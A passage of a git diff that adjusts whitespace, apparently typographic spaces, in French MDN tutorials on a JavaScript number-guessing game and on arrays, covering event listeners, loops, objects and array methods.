'Faux !'; lastResult.style.backgroundColor = 'red'; if (userGuess < randomNumber) { lowOrHi.textContent = 'Le nombre saisi est trop petit !'; @@ -473,22 +473,22 @@ function checkGuess(){ } ``` -Pas mal de code — ouf ! Passons en revue chaque section et expliquons ce qu'elle fait. +Pas mal de code — ouf ! Passons en revue chaque section et expliquons ce qu'elle fait. -- La première ligne de la fonction (ligne 2) déclare une variable nommée `userGuess` et définit sa valeur par celle qui vient d'être saisie dans le champ de texte. Nous faisons passer aussi cette valeur par la méthode `Number()` , juste pour nous assurer que la valeur stockée dans `userGuess` est bien un nombre. -- Ensuite, nous rencontrons notre premier bloc de code conditionnel (lignes 3-5). Il permet d'exécuter des instructions de manière sélective, selon certaines conditions qui sont vraies ou non. Cela ressemble un peu à une fonction, mais ce n'est pas le cas. La forme la plus simple du bloc conditionnel commence par le mot clé `if`, puis parenthèses, puis des accolades `{ }`. - A l'intérieur de ces parenthèses, nous mettons le test. S'il renvoie `true` , nous exécutons le code à l'intérieur des accolades. Sinon, nous ne le faisons pas, et passons au morceau de code suivant. Dans ce cas, le test vérifie si la variable `guessCount` est égale à `1` (c'est-à-dire s'il s'agit de la première supposition du joueur) : +- La première ligne de la fonction (ligne 2) déclare une variable nommée `userGuess` et définit sa valeur par celle qui vient d'être saisie dans le champ de texte. Nous faisons passer aussi cette valeur par la méthode `Number()` , juste pour nous assurer que la valeur stockée dans `userGuess` est bien un nombre. +- Ensuite, nous rencontrons notre premier bloc de code conditionnel (lignes 3-5). Il permet d'exécuter des instructions de manière sélective, selon certaines conditions qui sont vraies ou non. Cela ressemble un peu à une fonction, mais ce n'est pas le cas. La forme la plus simple du bloc conditionnel commence par le mot clé `if`, puis parenthèses, puis des accolades `{ }`. + A l'intérieur de ces parenthèses, nous mettons le test. S'il renvoie `true` , nous exécutons le code à l'intérieur des accolades. Sinon, nous ne le faisons pas, et passons au morceau de code suivant. Dans ce cas, le test vérifie si la variable `guessCount` est égale à `1` (c'est-à-dire s'il s'agit de la première supposition du joueur) : ```js guessCount === 1 ``` - Si c'est le cas, nous faisons en sorte que le texte affiché soit « Propositions précédentes : ». Sinon, nous ne le faisons pas. + Si c'est le cas, nous faisons en sorte que le texte affiché soit « Propositions précédentes : ». Sinon, nous ne le faisons pas. - La ligne 6 ajoute la valeur courante `userGuess` à la fin du paragraphe `guesses` , plus un espace vide de sorte qu'il y aura un espace entre chaque supposition faite. - Le bloc suivant (lignes 8-24) effectue quelques vérifications : - - Le premier `if(){ }` vérifie si la supposition de l'utilisateur est égale au nombre aléatoire `randomNumber` situé en haut de notre code JavaScript. Si c'est le cas, le joueur a deviné correctement et a gagné le jeu, nous affichons donc un message de félicitations d'une belle couleur verte au joueur, effaçons le contenu de la boîte d'information sur la position de l'estimation et exécutons une fonction appelée `setGameOver()`, dont nous reparlerons plus tard. + - Le premier `if(){ }` vérifie si la supposition de l'utilisateur est égale au nombre aléatoire `randomNumber` situé en haut de notre code JavaScript. Si c'est le cas, le joueur a deviné correctement et a gagné le jeu, nous affichons donc un message de félicitations d'une belle couleur verte au joueur, effaçons le contenu de la boîte d'information sur la position de l'estimation et exécutons une fonction appelée `setGameOver()`, dont nous reparlerons plus tard. - Ensuite, nous chaînons un autre test à la fin du précédent avec une structure `else if(){ }`. Cette structure vérifie si l'utilisateur a épuisé toutes ses tentatives. Si c'est le cas, le programme fait la même chose que dans le bloc précédent, mais avec un message de fin de partie au lieu d'un message de félicitations. - Le dernier bloc chaîné à la fin de ce code (`else { }`) contient du code qui n'est exécuté que si aucun des deux autres tests n'a renvoyé _vrai_ (c'est-à-dire que le joueur n'a pas deviné juste, mais qu'il lui reste des possibilité de supposition). Dans ce cas, nous lui disons que sa supposition est mauvaise, puis nous effectuons un autre test conditionnel pour vérifier si elle est supérieure ou inférieure à la valeur exacte et affichons un autre message approprié pour indiquer si sa supposition est trop forte ou trop faible. @@ -498,8 +498,8 @@ Pas mal de code — ouf ! Passons en revue chaque section et expliquons ce qu' ### Evénements -À ce stade, nous avons bien implémentée la fonction `checkGuess()`, mais elle ne s'éxecutera pas parce que nous ne l'avons pas encore appelé. -Idéalement, nous voulons l'appeler lorsque le bouton <kbd>Soumettre</kbd> est cliqué, et pour ce faire, nous devons utiliser un événement. Les événements sont des actions qui se produisent dans le navigateur, comme le clic sur un bouton, le chargement d'une page ou la lecture d'une vidéo, en réponse à quoi nous pouvons exécuter des blocs de code. Les constructions qui écoutent l'événement en cours s'appellent des **écouteurs d'événements**, et les blocs de code exécutés en réponse à l'événement déclencheur sont appelés des **gestionnaires d'évenements**. +À ce stade, nous avons bien implémentée la fonction `checkGuess()`, mais elle ne s'éxecutera pas parce que nous ne l'avons pas encore appelé. +Idéalement, nous voulons l'appeler lorsque le bouton <kbd>Soumettre</kbd> est cliqué, et pour ce faire, nous devons utiliser un événement. Les événements sont des actions qui se produisent dans le navigateur, comme le clic sur un bouton, le chargement d'une page ou la lecture d'une vidéo, en réponse à quoi nous pouvons exécuter des blocs de code. Les constructions qui écoutent l'événement en cours s'appellent des **écouteurs d'événements**, et les blocs de code exécutés en réponse à l'événement déclencheur sont appelés des **gestionnaires d'évenements**. Ajoutez la ligne suivante sous l'accolade de fermeture de votre fonction `checkGuess()` : @@ -507,9 +507,9 @@ Ajoutez la ligne suivante sous l'accolade de fermeture de votre fonction `checkG guessSubmit.addEventListener('click', checkGuess); ``` -Ici, nous ajoutons un écouteur d'événement au bouton `guessSubmit` . C'est une méthode qui prend deux valeurs d'entrée (appelées arguments) - le type d'événement que nous écoutons (dans ce cas, `click`) qui est une chaîne de caractères, et le code que nous voulons exécuter quand l'événement se produit (dans ce cas, la fonction `checkGuess()` — notez que nous n'avons pas besoin de spécifier les parenthèses lors de l'écriture dans {{domxref("EventTarget.addEventListener", "addEventListener()")}}). +Ici, nous ajoutons un écouteur d'événement au bouton `guessSubmit` . C'est une méthode qui prend deux valeurs d'entrée (appelées arguments) - le type d'événement que nous écoutons (dans ce cas, `click`) qui est une chaîne de caractères, et le code que nous voulons exécuter quand l'événement se produit (dans ce cas, la fonction `checkGuess()` — notez que nous n'avons pas besoin de spécifier les parenthèses lors de l'écriture dans {{domxref("EventTarget.addEventListener", "addEventListener()")}}). -Essayez d'enregistrer et d'actualiser votre code, votre exemple devrait désormais fonctionner, jusqu'à un certain point. Maintenant, le seul problème est que si vous devinez la bonne réponse ou si vous n'avez plus de tours à jouer, le jeu "va se casser" parce que nous n'avons pas encore implémenté la fonction `setGameOver()` dont le rôle est de terminer proprement le jeu. Ajoutons maintenant le code manquant pour compléter notre exemple. +Essayez d'enregistrer et d'actualiser votre code, votre exemple devrait désormais fonctionner, jusqu'à un certain point. Maintenant, le seul problème est que si vous devinez la bonne réponse ou si vous n'avez plus de tours à jouer, le jeu "va se casser" parce que nous n'avons pas encore implémenté la fonction `setGameOver()` dont le rôle est de terminer proprement le jeu. Ajoutons maintenant le code manquant pour compléter notre exemple. ### Finir les fonctionnalités du jeu @@ -526,11 +526,11 @@ function setGameOver() { } ``` -- Les deux premières lignes désactivent l'entrée de texte et le bouton en définissant leurs propriétés désactivées à `true`. Ceci est nécessaire, car si nous ne le faisons pas, l'utilisateur pourrait soumettre plus de propositions après la fin du jeu, ce qui gâcherait les choses. -- Les trois lignes suivantes génèrent un nouvel {{htmlelement("button")}} élément, avec le libellé "Démarrer une nouvelle partie" et l'ajoute au bas du HTML existant. -- La dernière ligne définit un écouteur d'événement sur ce nouveau bouton : un click sur le bouton déclenchera un appel de la fonction `resetGame()`. +- Les deux premières lignes désactivent l'entrée de texte et le bouton en définissant leurs propriétés désactivées à `true`. Ceci est nécessaire, car si nous ne le faisons pas, l'utilisateur pourrait soumettre plus de propositions après la fin du jeu, ce qui gâcherait les choses. +- Les trois lignes suivantes génèrent un nouvel {{htmlelement("button")}} élément, avec le libellé "Démarrer une nouvelle partie" et l'ajoute au bas du HTML existant. +- La dernière ligne définit un écouteur d'événement sur ce nouveau bouton : un click sur le bouton déclenchera un appel de la fonction `resetGame()`. -Reste à définir cette fonction ! Ajoutez le code suivant, tout en bas de votre JavaScript : +Reste à définir cette fonction ! Ajoutez le code suivant, tout en bas de votre JavaScript : ```js function resetGame() { @@ -554,36 +554,36 @@ function resetGame() { } ``` -Ce bloc de code assez long réinitialise complètement les paramètres du jeu (le joueur pourra commencer une nouvelle partie). Il permet de : +Ce bloc de code assez long réinitialise complètement les paramètres du jeu (le joueur pourra commencer une nouvelle partie). Il permet de : - Remettre le compteur `guessCount` à 1. - Effacer tous les paragraphes d'information. - Supprimer le bouton de réinitialisation de notre code. -- Activer les éléments de formulaire, vide et met au point le champ de texte, prêt à entrer une nouvelle proposition. +- Activer les éléments de formulaire, vide et met au point le champ de texte, prêt à entrer une nouvelle proposition. - Supprimer la couleur d'arrière-plan du paragraphe `lastResult`. - Génèrer un nouveau nombre aléatoire afin que vous ne deviniez plus le même nombre ! -**À ce stade, vous devriez avoir un jeu (simple) entièrement fonctionnel — félicitations!** +**À ce stade, vous devriez avoir un jeu (simple) entièrement fonctionnel — félicitations!** -Pour finir, c'est le moment de faire une synthèse sur quelques caractéristiques importantes du code ; vous les avez déjà vues, sans forcément vous en rendre compte. +Pour finir, c'est le moment de faire une synthèse sur quelques caractéristiques importantes du code ; vous les avez déjà vues, sans forcément vous en rendre compte. ### Boucles -Dans le code précédent, une partie à examiner de plus près est la boucle [for](/fr/docs/Web/JavaScript/Reference/Instructions/for). Les boucles sont un concept très important dans la programmation, qui vous permet de continuer à exécuter un morceau de code encore et encore, jusqu'à ce qu'une certaine condition soit remplie. +Dans le code précédent, une partie à examiner de plus près est la boucle [for](/fr/docs/Web/JavaScript/Reference/Instructions/for). Les boucles sont un concept très important dans la programmation, qui vous permet de continuer à exécuter un morceau de code encore et encore, jusqu'à ce qu'une certaine condition soit remplie. -Pour commencer, allez sur votre [console developpeur Javascript](/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs) et entrez ce qui suit : +Pour commencer, allez sur votre [console developpeur Javascript](/fr/Apprendre/D%C3%A9couvrir_outils_d%C3%A9veloppement_navigateurs) et entrez ce qui suit : ```js for (let i = 1 ; i < 21 ; i++) { console.log(i) } ``` -Que s'est-il passé ? Les nombres de 1 à 20 s'affichent dans la console. C'est à cause de la boucle. Une boucle : `for` prend trois valeurs d'entrée (arguments) +Que s'est-il passé ? Les nombres de 1 à 20 s'affichent dans la console. C'est à cause de la boucle. Une boucle : `for` prend trois valeurs d'entrée (arguments) -1. **Une valeur de départ** : Dans ce cas, nous commençons un compte à 1, mais cela pourrait être n'importe quel nombre. Vous pouvez remplacer `i` par n'importe quel nom (ou presque...) , mais `i` est utilisé par convention car il est court et facile à retenir. -2. **Une condition de fin** : Ici, nous avons spécifié `i < 21` la boucle continuera jusqu'à ce que `i` ne soit plus inférieur à 21. Quand `i` atteindra ou dépassera 21, la boucle s'arrêtera. -3. **Un incrémenteur** : Nous avons spécifié `i++`, ce qui signifie "ajouter 1 à i". La boucle sera exécutée une fois pour chaque valeur de `i`, jusqu'a ce que `i` atteigne une valeur de 21 (comme indiqué ci-dessus). Dans ce cas, nous imprimons simplement la valeur de `i` sur la console à chaque itération en utilisant {{domxref("Console.log", "console.log()")}}. +1. **Une valeur de départ** : Dans ce cas, nous commençons un compte à 1, mais cela pourrait être n'importe quel nombre. Vous pouvez remplacer `i` par n'importe quel nom (ou presque...), mais `i` est utilisé par convention car il est court et facile à retenir. +2. **Une condition de fin** : Ici, nous avons spécifié `i < 21` la boucle continuera jusqu'à ce que `i` ne soit plus inférieur à 21. Quand `i` atteindra ou dépassera 21, la boucle s'arrêtera. +3. **Un incrémenteur** : Nous avons spécifié `i++`, ce qui signifie "ajouter 1 à i". La boucle sera exécutée une fois pour chaque valeur de `i`, jusqu'a ce que `i` atteigne une valeur de 21 (comme indiqué ci-dessus). Dans ce cas, nous imprimons simplement la valeur de `i` sur la console à chaque itération en utilisant {{domxref("Console.log", "console.log()")}}. -Maintenant, regardons la boucle dans notre jeu de devinettes de nombres **—** ce qui suit peut être trouvé dans la fonction `resetGame()` : +Maintenant, regardons la boucle dans notre jeu de devinettes de nombres **—** ce qui suit peut être trouvé dans la fonction `resetGame()` : ```js let resetParas = document.querySelectorAll('.resultParas p'); @@ -592,7 +592,7 @@ for (let i = 0 ; i < resetParas.length ; i++) { } ``` -Ce code crée une variable contenant une liste de tous les paragraphes à l'intérieur de `<div class="resultParas">` en utilisant la méthode {{domxref ("Document.querySelectorAll", "querySelectorAll ()")}}, puis il passe dans la boucle et pour chacun d'entre eux supprime le contenu du texte. +Ce code crée une variable contenant une liste de tous les paragraphes à l'intérieur de `<div class="resultParas">` en utilisant la méthode {{domxref ("Document.querySelectorAll", "querySelectorAll ()")}}, puis il passe dans la boucle et pour chacun d'entre eux supprime le contenu du texte. ### Une petite discussion sur les objets @@ -602,11 +602,11 @@ Voyons une dernière amélioration avant d'aborder cette discussion. Ajoutez la guessField.focus(); ``` -Cette ligne utilise la méthode{{domxref("HTMLElement.focus", "focus()")}} pour placer automatiquement le curseur dans le champ texte {{htmlelement ("input")}} dès le chargement de la page, permettant à l'utilisateur de commencer à taper sa première proposition de suite sans avoir à cliquer préalablement dans le champ. Ce n'est qu'un petit ajout, mais cela améliore la convivialité en donnant à l'utilisateur une bonne idée visuelle de ce qu'il doit faire pour jouer. +Cette ligne utilise la méthode{{domxref("HTMLElement.focus", "focus()")}} pour placer automatiquement le curseur dans le champ texte {{htmlelement ("input")}} dès le chargement de la page, permettant à l'utilisateur de commencer à taper sa première proposition de suite sans avoir à cliquer préalablement dans le champ. Ce n'est qu'un petit ajout, mais cela améliore la convivialité en donnant à l'utilisateur une bonne idée visuelle de ce qu'il doit faire pour jouer. -Analysons ce qui se passe ici un peu plus en détail. En JavaScript, tout est objet. Un objet JavaScript possède des propriétés, chacune définissant une caractéristique. Vous pouvez créer vos propres objets, mais cela est une notion assez avancée, nous ne la couvrirons que beaucoup plus tard dans le cours. Pour l'instant, nous allons discuter brièvement des objets intégrés que contient votre navigateur, ce qui vous permet de faire beaucoup de choses utiles. +Analysons ce qui se passe ici un peu plus en détail. En JavaScript, tout est objet. Un objet JavaScript possède des propriétés, chacune définissant une caractéristique. Vous pouvez créer vos propres objets, mais cela est une notion assez avancée, nous ne la couvrirons que beaucoup plus tard dans le cours. Pour l'instant, nous allons discuter brièvement des objets intégrés que contient votre navigateur, ce qui vous permet de faire beaucoup de choses utiles. -Dans ce cas particulier, nous avons d'abord créé une variable `guessField` qui stocke une référence au champ de formulaire de saisie de texte dans notre HTML **—** la ligne suivante se trouve parmi nos déclarations de variables en haut du code : +Dans ce cas particulier, nous avons d'abord créé une variable `guessField` qui stocke une référence au champ de formulaire de saisie de texte dans notre HTML **—** la ligne suivante se trouve parmi nos déclarations de variables en haut du code : ```js let guessField = document.querySelector('.guessField'); @@ -614,7 +614,7 @@ let guessField = document.querySelector('.guessField'); Pour obtenir cette référence, nous avons utilisé la méthode {{domxref("document.querySelector", "querySelector()")}} de l'objet {{domxref ("document")}}. `querySelector()` prend une information - un [sélecteur CSS](/fr/docs/Apprendre/CSS/Introduction_à_CSS/Les_sélecteurs) qui sélectionne l'élément auquel vous voulez faire référence. -Parce que `guessField` contient maintenant une référence à un élément {{htmlelement ("input")}}, il aura maintenant accès à un certain nombre de propriétés (essentiellement des variables stockées dans des objets, dont certaines ne peuvent pas être modifiées) et des méthodes (essentiellement des fonctions stockées dans des objets). Une méthode disponible pour entrer des éléments est `focus()`, donc nous pouvons maintenant utiliser cette ligne pour focaliser l'entrée de texte : +Parce que `guessField` contient maintenant une référence à un élément {{htmlelement ("input")}}, il aura maintenant accès à un certain nombre de propriétés (essentiellement des variables stockées dans des objets, dont certaines ne peuvent pas être modifiées) et des méthodes (essentiellement des fonctions stockées dans des objets). Une méthode disponible pour entrer des éléments est `focus()`, donc nous pouvons maintenant utiliser cette ligne pour focaliser l'entrée de texte : ```js guessField.focus(); @@ -644,9 +644,9 @@ Jouons un peu avec certains objets du navigateur. guesses.value ``` - Le navigateur va retourner `undefined`, parce que `value` n'existe pas dans le paragraphe. + Le navigateur va retourner `undefined`, parce que `value` n'existe pas dans le paragraphe. -7. Pour changer le texte dans le paragraphe vous aurez besoin de la propriété {{domxref("Node.textContent", "textContent")}} à la place. +7. Pour changer le texte dans le paragraphe vous aurez besoin de la propriété {{domxref("Node.textContent", "textContent")}} à la place. Essayez ceci : ```js @@ -666,6 +666,6 @@ Chaque élément d'une page possède une propriété de `style` , qui contient e ## C'est fini pour le moment... -Vous voilà parvenu au bout de cet exemple, bravo ! Essayez votre code enfin complété ou [jouez avec notre version finale ici](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game.html). Si vous ne parvenez pas à faire fonctionner l'exemple, vérifiez-le par rapport [au code source.](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html) +Vous voilà parvenu au bout de cet exemple, bravo ! Essayez votre code enfin complété ou [jouez avec notre version finale ici](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game.html). Si vous ne parvenez pas à faire fonctionner l'exemple, vérifiez-le par rapport [au code source.](https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html) {{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}} diff --git a/files/fr/learn/javascript/first_steps/arrays/index.md b/files/fr/learn/javascript/first_steps/arrays/index.md index 38cb54ddef..798da512ff 100644 --- a/files/fr/learn/javascript/first_steps/arrays/index.md +++ b/files/fr/learn/javascript/first_steps/arrays/index.md @@ -25,14 +25,14 @@ Dans le dernier article de ce module, nous examinerons les tableaux — une faç <table class="standard-table"> <tbody> <tr> - <th scope="row">Prérequis :</th> + <th scope="row">Prérequis :</th> <td> Vocabulaire courant de l'informatique, bases de HTML et CSS, compréhension de ce que fait JavaScript. </td> </tr> <tr> - <th scope="row">Objectif :</th> + <th scope="row">Objectif :</th> <td> Comprendre ce que sont les tableaux et savoir comment les manipuler en JavaScript. @@ -41,13 +41,13 @@ Dans le dernier article de ce module, nous examinerons les tableaux — une faç </tbody> </table> -## Qu'est‑ce qu'un tableau ? +## Qu'est‑ce qu'un tableau ? -Les tableaux sont généralement décrits comme des "objets de type liste" ; un tableau est un objet contenant plusieurs valeurs. Les objets tableau peuvent être stockés dans des variables et traités de la même manière que tout autre type de valeur, la différence étant que nous pouvons accéder à chaque valeur du tableau individuellement, et faire des choses super utiles et efficaces avec la liste des valeurs, comme boucler et faire la même chose pour chaque valeur. Peut-être que nous avons une série d'articles et leurs prix stockés dans un tableau, et nous voulons les parcourir tous et les imprimer sur une facture, tout en totalisant tous les prix ensemble et en imprimant le prix total en bas. +Les tableaux sont généralement décrits comme des "objets de type liste" ; un tableau est un objet contenant plusieurs valeurs. Les objets tableau peuvent être stockés dans des variables et traités de la même manière que tout autre type de valeur, la différence étant que nous pouvons accéder à chaque valeur du tableau individuellement, et faire des choses super utiles et efficaces avec la liste des valeurs, comme boucler et faire la même chose pour chaque valeur. Peut-être que nous avons une série d'articles et leurs prix stockés dans un tableau, et nous voulons les parcourir tous et les imprimer sur une facture, tout en totalisant tous les prix ensemble et en imprimant le prix total en bas. -Sans tableaux, nous devrions stocker chaque valeur dans une variable séparée, puis appeler le code qui effectue l'affichage ou l'impression, puis ajouter séparément chaque élément. Ce serait plus long à écrire, moins efficace et cela comporterait plus de risques d'erreurs. Si nous avions 10 articles à ajouter à la facture, ce serait déjà assez mauvais, mais qu'en serait-il de 100 articles ou de 1000 ? Nous reviendrons sur cet exemple plus loin dans l'article. +Sans tableaux, nous devrions stocker chaque valeur dans une variable séparée, puis appeler le code qui effectue l'affichage ou l'impression, puis ajouter séparément chaque élément. Ce serait plus long à écrire, moins efficace et cela comporterait plus de risques d'erreurs. Si nous avions 10 articles à ajouter à la facture, ce serait déjà assez mauvais, mais qu'en serait-il de 100 articles ou de 1000 ? Nous reviendrons sur cet exemple plus loin dans l'article. -Comme précédemment, initions‑nous aux bases pratiques des tableaux en entrant quelques exemples dans une console JavaScript. En voici une plus bas (vous pouvez aussi [ouvrir cette console](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html) dans un onglet ou une fenêtre séparés ou utiliser la [console développeur de l'explorateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) si vous préférez). +Comme précédemment, initions‑nous aux bases pratiques des tableaux en entrant quelques exemples dans une console JavaScript. En voici une plus bas (vous pouvez aussi [ouvrir cette console](https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html) dans un onglet ou une fenêtre séparés ou utiliser la [console développeur de l'explorateur](/fr/docs/Learn/Common_questions/What_are_browser_developer_tools) si vous préférez). ```html hidden <!DOCTYPE html> @@ -124,8 +124,8 @@ Comme précédemment, initions‑nous aux bases pratiques des tableaux en entran document.body.appendChild(inputDiv); if(document.querySelectorAll('div').length > 1) { - inputForm.focus(); - } + inputForm.focus(); + } inputForm.addEventListener('change', executeCode); } @@ -163,14 +163,14 @@ Comme précédemment, initions‑nous aux bases pratiques des tableaux en entran On définit les valeurs d'un tableau par une liste d'éléments entre crochets droits, séparés par des virgules. -1. Disons que nous voulons mettre une liste d'achats dans un tableau — nous devons opérer comme suit. Entrez les lignes ci‑après dans la console : +1. Disons que nous voulons mettre une liste d'achats dans un tableau — nous devons opérer comme suit. Entrez les lignes ci‑après dans la console : ```js let shopping = ['pain', 'lait', 'fromage', 'houmous', 'nouilles']; shopping; ``` -2. Dans ce cas, chaque élément du tableau est une chaîne, mais gardez en tête que vous pouvez stocker n'importe quel élément dans un tableau — chaîne, nombre, objet, autre variable et même d'autres tableaux. Vous pouvez également mélanger et assortir les types d'articles — il n'est pas obligatoire que ce soient tous des nombres, des chaînes, etc. Essayez ceci : +2. Dans ce cas, chaque élément du tableau est une chaîne, mais gardez en tête que vous pouvez stocker n'importe quel élément dans un tableau — chaîne, nombre, objet, autre variable et même d'autres tableaux. Vous pouvez également mélanger et assortir les types d'articles — il n'est pas obligatoire que ce soient tous des nombres, des chaînes, etc. Essayez ceci : 3. ```js let sequence = [1, 1, 2, 3, 5, 8, 13]; let random = ['arbre', 795, [0, 1, 2]]; @@ -181,14 +181,14 @@ On définit les valeurs d'un tableau par une liste d'éléments entre crochets d Vous pouvez avoir accès isolément aux éléments dans un tableau en utilisant la notation crochet, de la même façon que nous avons eu [accès aux lettres dans une chaîne](/fr/docs/Learn/JavaScript/First_steps/Useful_string_methods#retrieving_a_specific_string_character). -1. Entrez ceci dans la console : +1. Entrez ceci dans la console : ```js shopping[0]; // renvoie "pain" ``` -2. Vous pouvez aussi modifier un élément dans un tableau en donnant simplement une nouvelle valeur à l'élément. Essayez ceci : +2. Vous pouvez aussi modifier un élément dans un tableau en donnant simplement une nouvelle valeur à l'élément. Essayez ceci : ```js shopping[0] = 'crème de sésame'; @@ -196,9 +196,9 @@ Vous pouvez avoir accès isolément aux éléments dans un tableau en utilisant // shopping renvoie maintenant [ "crème de sésame", "lait", "fromage", "houmous", "nouilles" ] ``` - > **Note :** Nous l'avons déjà dit, mais enseigner c'est répéter — les ordinateurs commencent les décomptes à partir de 0 ! + > **Note :** Nous l'avons déjà dit, mais enseigner c'est répéter — les ordinateurs commencent les décomptes à partir de 0 ! -3. Notez qu'un tableau à l'intérieur d'un tableau est appelé un tableau multidimensionnel. Vous accédez à un des éléments de ce tableau interne en chaînant deux paires de crochets. Par exemple, pour avoir accès à l'un des éléments (le troisième) du tableau élément du tableau `random` (voir la section précédente), vous pouvez écrire quelque chose comme : +3. Notez qu'un tableau à l'intérieur d'un tableau est appelé un tableau multidimensionnel. Vous accédez à un des éléments de ce tableau interne en chaînant deux paires de crochets. Par exemple, pour avoir accès à l'un des éléments (le troisième) du tableau élément du tableau `random` (voir la section précédente), vous pouvez écrire quelque chose comme : 4. ```js random[2][2]; ``` @@ -206,14 +206,14 @@ Vous pouvez avoir accès isolément aux éléments dans un tableau en utilisant ### Trouver la taille d'un tableau -Vous pouvez trouver la taille d'un tableau (le nombre d'éléments qu'il comporte) de la même façon que vous obtenez la taille (en caractères) d'un chaîne — avec la propriété {{jsxref("Array.prototype.length","length")}}. Essayez : +Vous pouvez trouver la taille d'un tableau (le nombre d'éléments qu'il comporte) de la même façon que vous obtenez la taille (en caractères) d'un chaîne — avec la propriété {{jsxref("Array.prototype.length","length")}}. Essayez : ```js sequence.length; // renvoie 7 ``` -Il y a d'autres usages, mais le plus courant permet de dire à une boucle de poursuivre jusqu'à ce que tous les éléments du tableau aient été passés en revue. Ainsi, par exemple : +Il y a d'autres usages, mais le plus courant permet de dire à une boucle de poursuivre jusqu'à ce que tous les éléments du tableau aient été passés en revue. Ainsi, par exemple : ```js let sequence = [1, 1, 2, 3, 5, 8, 13]; @@ -222,15 +222,15 @@ for (var i = 0; i < sequence.length; i++) { } ``` -Vous en apprendrez plus sur les boucles dans un prochain article, mais, en résumé, ce code dit : +Vous en apprendrez plus sur les boucles dans un prochain article, mais, en résumé, ce code dit : 1. Commencer la boucle à l'élément 0 du tableau. -2. Arrêter de tourner quand le dernier élément du tableau sera atteint. Cela fonctionne pour n'importe quelle dimension de tableau ; dans notre cas, on sortira de la boucle à l'élément 7 (c'est bon, car le dernier élément — que nous souhaitons que la boucle traite — est le 6). +2. Arrêter de tourner quand le dernier élément du tableau sera atteint. Cela fonctionne pour n'importe quelle dimension de tableau ; dans notre cas, on sortira de la boucle à l'élément 7 (c'est bon, car le dernier élément — que nous souhaitons que la boucle traite — est le 6). 3. Afficher chaque élément sur la console de l'explorateur avec `console.log()`. ## Quelques méthodes utiles pour les tableaux -Dans ce paragraphe nous examinerons quelques méthodes de tableaux à connaître. Elles permettent de scinder des chaînes en éléments de tableau et inversement, et d'ajouter de nouveaux éléments dans des tableaux. +Dans ce paragraphe nous examinerons quelques méthodes de tableaux à connaître. Elles permettent de scinder des chaînes en éléments de tableau et inversement, et d'ajouter de nouveaux éléments dans des tableaux. ### Conversions entre chaînes et tableaux @@ -238,20 +238,20 @@ Souvent, vous serez confronté à des données brutes contenues dans une longue > **Note :** D'accord, techniquement parlant c'est une méthode de chaîne, et non une méthode de tableau, mais nous la mettons dans le chapitre des tableaux car elle est bien à sa place ici. -1. Servons‑nous en et voyons comment elle fonctionne. D'abord créons une chaîne dans la console : +1. Servons‑nous en et voyons comment elle fonctionne. D'abord créons une chaîne dans la console : ```js let myData = 'Manchester,London,Liverpool,Birmingham,Leeds,Carlisle'; ``` -2. Scindons‑la à chaque virgule : +2. Scindons‑la à chaque virgule : ```js let myArray = myData.split(','); myArray; ``` -3. Pour terminer, trouvons la taille du nouveau tableau et retrouvons quelques‑uns de ses éléments : +3. Pour terminer, trouvons la taille du nouveau tableau et retrouvons quelques‑uns de ses éléments : ```js myArray.length; @@ -260,7 +260,7 @@ Souvent, vous serez confronté à des données brutes contenues dans une longue myArray[myArray.length-1]; // le dernier élément du tableau ``` -4. Vous pouvez également faire le contraire avec la méthode {{jsxref("Array.prototype.join()","join()")}}. Essayons : +4. Vous pouvez également faire le contraire avec la méthode {{jsxref("Array.prototype.join()","join()")}}. Essayons : ```js let myNewString = myArray.join(','); @@ -276,7 +276,7 @@ Souvent, vous serez confronté à des données brutes contenues dans une longue ### Ajout et suppression d'éléments de tableau -Nous n'avons pas encore parlé d'ajout et de suppression d'éléments de tableau — allons‑y. Nous utiliserons le tableau `myArray` dont nous nous sommes servis à la fin de la dernière section. Si vous n'avez pas entré les commandes de cette section dans la console, il est nécessaire de créer d'abord le tableau : +Nous n'avons pas encore parlé d'ajout et de suppression d'éléments de tableau — allons‑y. Nous utiliserons le tableau `myArray` dont nous nous sommes servis à la fin de la dernière section. Si vous n'avez pas entré les commandes de cette section dans la console, il est nécessaire de créer d'abord le tableau : ```js let myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carlisle']; @@ -284,7 +284,7 @@ let myArray = ['Manchester', 'London', 'Liverpool', 'Birmingham', 'Leeds', 'Carl Premièrement, pour ajouter ou supprimer un élément à la fin du tableau, vous pouvez respectivement utiliser {{jsxref("Array.prototype.push()","push()")}} et {{jsxref("Array.prototype.pop()","pop()")}}. -1. Voyons `push()` d'abord — notez que vous devez mettre en paramètre les éléments que vous souhaitez ajouter à la fin du tableau. Essayez ceci : +1. Voyons `push()` d'abord — notez que vous devez mettre en paramètre les éléments que vous souhaitez ajouter à la fin du tableau. Essayez ceci : ```js myArray.push('Cardiff'); @@ -293,7 +293,7 @@ Premièrement, pour ajouter ou supprimer un élément à la fin du tableau, vous myArray; ``` -2. La taille du tableau modifié est renvoyée quand l'appel de la méthode est terminé. Si vous voulez enregistrer la taille du nouveau tableau dans une variable, vous pouvez écrire quelque chose comme ceci : +2. La taille du tableau modifié est renvoyée quand l'appel de la méthode est terminé. Si vous voulez enregistrer la taille du nouveau tableau dans une variable, vous pouvez écrire quelque chose comme ceci : ```js let newLength = myArray.push('Bristol'); @@ -301,7 +301,7 @@ Premièrement, pour ajouter ou supprimer un élément à la fin du tableau, vous newLength; ``` -3. Supprimer le dernier élément de la liste est très simple : il suffit de lancer `pop()` sur celle‑ci. Essayez : +3. Supprimer le dernier élément de la liste est très simple : il suffit de lancer `pop()` sur celle‑ci. Essayez : ```js myArray.pop(); @@ -317,14 +317,14 @@ Premièrement, pour ajouter ou supprimer un élément à la fin du tableau, vous {{jsxref("Array.prototype.unshift()","unshift()")}} et {{jsxref("Array.prototype.shift()","shift()")}} fonctionnent exactement de la même manière, excepté qu'il travaillent sur la tête du tableau au lieu de la queue. -1. D'abord `unshift()` — 